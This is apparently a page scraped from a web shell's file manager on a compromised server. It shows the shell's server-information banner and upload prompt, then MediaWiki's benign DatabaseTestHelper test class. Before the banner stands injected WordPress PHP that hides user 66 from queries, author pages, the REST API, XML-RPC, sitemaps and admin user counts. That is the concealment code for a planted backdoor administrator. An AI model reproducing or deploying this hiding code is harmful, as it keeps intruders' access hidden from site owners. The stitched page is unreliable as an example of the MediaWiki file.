add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/tests/phpunit/includes/db/ |
Upload File : |
<?php
use MediaWiki\Tests\Unit\Libs\Rdbms\AddQuoterMock;
use MediaWiki\Tests\Unit\Libs\Rdbms\SQLPlatformTestHelper;
use Psr\Log\NullLogger;
use Wikimedia\ObjectCache\HashBagOStuff;
use Wikimedia\Rdbms\Database;
use Wikimedia\Rdbms\Database\DatabaseFlags;
use Wikimedia\Rdbms\DatabaseDomain;
use Wikimedia\Rdbms\FakeResultWrapper;
use Wikimedia\Rdbms\QueryStatus;
use Wikimedia\Rdbms\Replication\ReplicationReporter;
use Wikimedia\Rdbms\TransactionProfiler;
use Wikimedia\RequestTimeout\RequestTimeout;
/**
* Helper for testing the methods from the Database class
* @since 1.22
*/
class DatabaseTestHelper extends Database {
/**
* @var string __CLASS__ of the test suite,
* used to determine, if the function name is passed every time to query()
*/
protected string $testName;
/**
* @var string[] Array of lastSqls passed to query(),
* This is an array since some methods in Database can do more than one
* query. Cleared when calling getLastSqls().
*/
protected $lastSqls = [];
/** @var array Stack of result maps */
protected $nextResMapQueue = [];
/** @var array|null */
protected $lastResMap = null;
/**
* @var string[] Array of tables to be considered as existing by tableExist()
* Use setExistingTables() to alter.
*/
protected $tablesExists;
/** @var int[] */
protected $forcedAffectedCountQueue = [];
public function __construct( string $testName, array $opts = [] ) {
$params = $opts + [
'host' => null,
'user' => null,
'password' => null,
'dbname' => null,
'schema' => null,
'tablePrefix' => '',
'flags' => 0,
'cliMode' => true,
'agent' => '',
'serverName' => null,
'topologyRole' => null,
'srvCache' => new HashBagOStuff(),
'profiler' => null,
'trxProfiler' => new TransactionProfiler(),
'logger' => new NullLogger(),
'errorLogger' => static function ( Exception $e ) {
wfWarn( get_class( $e ) . ': ' . $e->getMessage() );
},
'deprecationLogger' => static function ( $msg ) {
wfWarn( $msg );
},
'criticalSectionProvider' =>
RequestTimeout::singleton()->createCriticalSectionProvider( 120 )
];
parent::__construct( $params );
$this->testName = $testName;
$this->platform = new SQLPlatformTestHelper( new AddQuoterMock() );
$this->flagsHolder = new DatabaseFlags( 0 );
$this->replicationReporter = new ReplicationReporter(
$params['topologyRole'],
$params['logger'],
$params['srvCache']
);
$this->currentDomain = DatabaseDomain::newUnspecified();
$this->open( 'localhost', 'testuser', 'password', 'testdb', null, '' );
}
/**
* Returns SQL queries grouped by '; '
* Clear the list of queries that have been done so far.
* @return string
*/
public function getLastSqls() {
$lastSqls = implode( '; ', $this->lastSqls );
$this->lastSqls = [];
return $lastSqls;
}
public function setExistingTables( $tablesExists ) {
$this->tablesExists = (array)$tablesExists;
}
/**
* @param mixed $res Use an array of row arrays to set row result
* @param int $errno Error number
* @param string $error Error text
* @param array $options
* - isKnownStatementRollbackError: Return value for isKnownStatementRollbackError()
*/
public function forceNextResult( $res, $errno = 0, $error = '', $options = [] ) {
$this->nextResMapQueue[] = [
'res' => $res,
'errno' => $errno,
'error' => $error
] + $options;
}
protected function addSql( $sql ) {
// clean up spaces before and after some words and the whole string
$this->lastSqls[] = trim( preg_replace(
'/\s{2,}(?=FROM|WHERE|GROUP BY|ORDER BY|LIMIT)|(?<=SELECT|INSERT|UPDATE)\s{2,}/',
' ', $sql
) );
}
protected function checkFunctionName( $fname ) {
if ( $fname === 'Wikimedia\\Rdbms\\Database::close' ) {
return; // no $fname parameter
}
// Handle some internal calls from the Database class
$check = $fname;
if ( preg_match(
'/^Wikimedia\\\\Rdbms\\\\Database::(?:query|beginIfImplied) \((.+)\)$/',
$fname,
$m
) ) {
$check = $m[1];
}
if ( !str_starts_with( $check, $this->testName ) ) {
throw new LogicException( 'function name does not start with test class. ' .
$fname . ' vs. ' . $this->testName . '. ' .
'Please provide __METHOD__ to database methods.' );
}
}
public function strencode( $s ) {
// Choose apos to avoid handling of escaping double quotes in quoted text
return str_replace( "'", "\'", $s );
}
public function query( $sql, $fname = '', $flags = 0 ) {
$this->checkFunctionName( $fname );
return parent::query( $sql, $fname, $flags );
}
public function tableExists( $table, $fname = __METHOD__ ) {
[ $db, $pt ] = $this->platform->getDatabaseAndTableIdentifier( $table );
if ( isset( $this->sessionTempTables[$db][$pt] ) ) {
return true; // already known to exist
}
$this->checkFunctionName( $fname );
return in_array( $table, (array)$this->tablesExists );
}
public function getType() {
return 'test';
}
public function open( $server, $user, $password, $db, $schema, $tablePrefix ) {
$this->conn = (object)[ 'test' ];
return true;
}
protected function lastInsertId() {
return -1;
}
public function lastErrno() {
return $this->lastResMap ? $this->lastResMap['errno'] : -1;
}
public function lastError() {
return $this->lastResMap ? $this->lastResMap['error'] : 'test';
}
protected function isKnownStatementRollbackError( $errno ) {
return ( $this->lastResMap['errno'] ?? 0 ) === $errno
? ( $this->lastResMap['isKnownStatementRollbackError'] ?? false )
: false;
}
public function fieldInfo( $table, $field ) {
return false;
}
public function indexInfo( $table, $index, $fname = 'Database::indexInfo' ) {
return false;
}
public function getSoftwareLink() {
return 'test';
}
public function getServerVersion() {
return 'test';
}
public function getServerInfo() {
return 'test';
}
public function ping( &$rtt = null ) {
$rtt = 0.0;
return true;
}
protected function closeConnection() {
return true;
}
public function setNextQueryAffectedRowCounts( array $counts ) {
$this->forcedAffectedCountQueue = $counts;
}
protected function doSingleStatementQuery( string $sql ): QueryStatus {
$sql = preg_replace( '< /\* .+? \*/>', '', $sql );
$this->addSql( $sql );
if ( $this->nextResMapQueue ) {
$this->lastResMap = array_shift( $this->nextResMapQueue );
if ( !$this->lastResMap['errno'] && $this->forcedAffectedCountQueue ) {
$count = array_shift( $this->forcedAffectedCountQueue );
$this->lastQueryAffectedRows = $count;
}
} else {
$this->lastResMap = [ 'res' => [], 'errno' => 0, 'error' => '' ];
}
$res = $this->lastResMap['res'];
return new QueryStatus(
is_bool( $res ) ? $res : new FakeResultWrapper( $res ),
$this->affectedRows(),
$this->lastError(),
$this->lastErrno()
);
}
}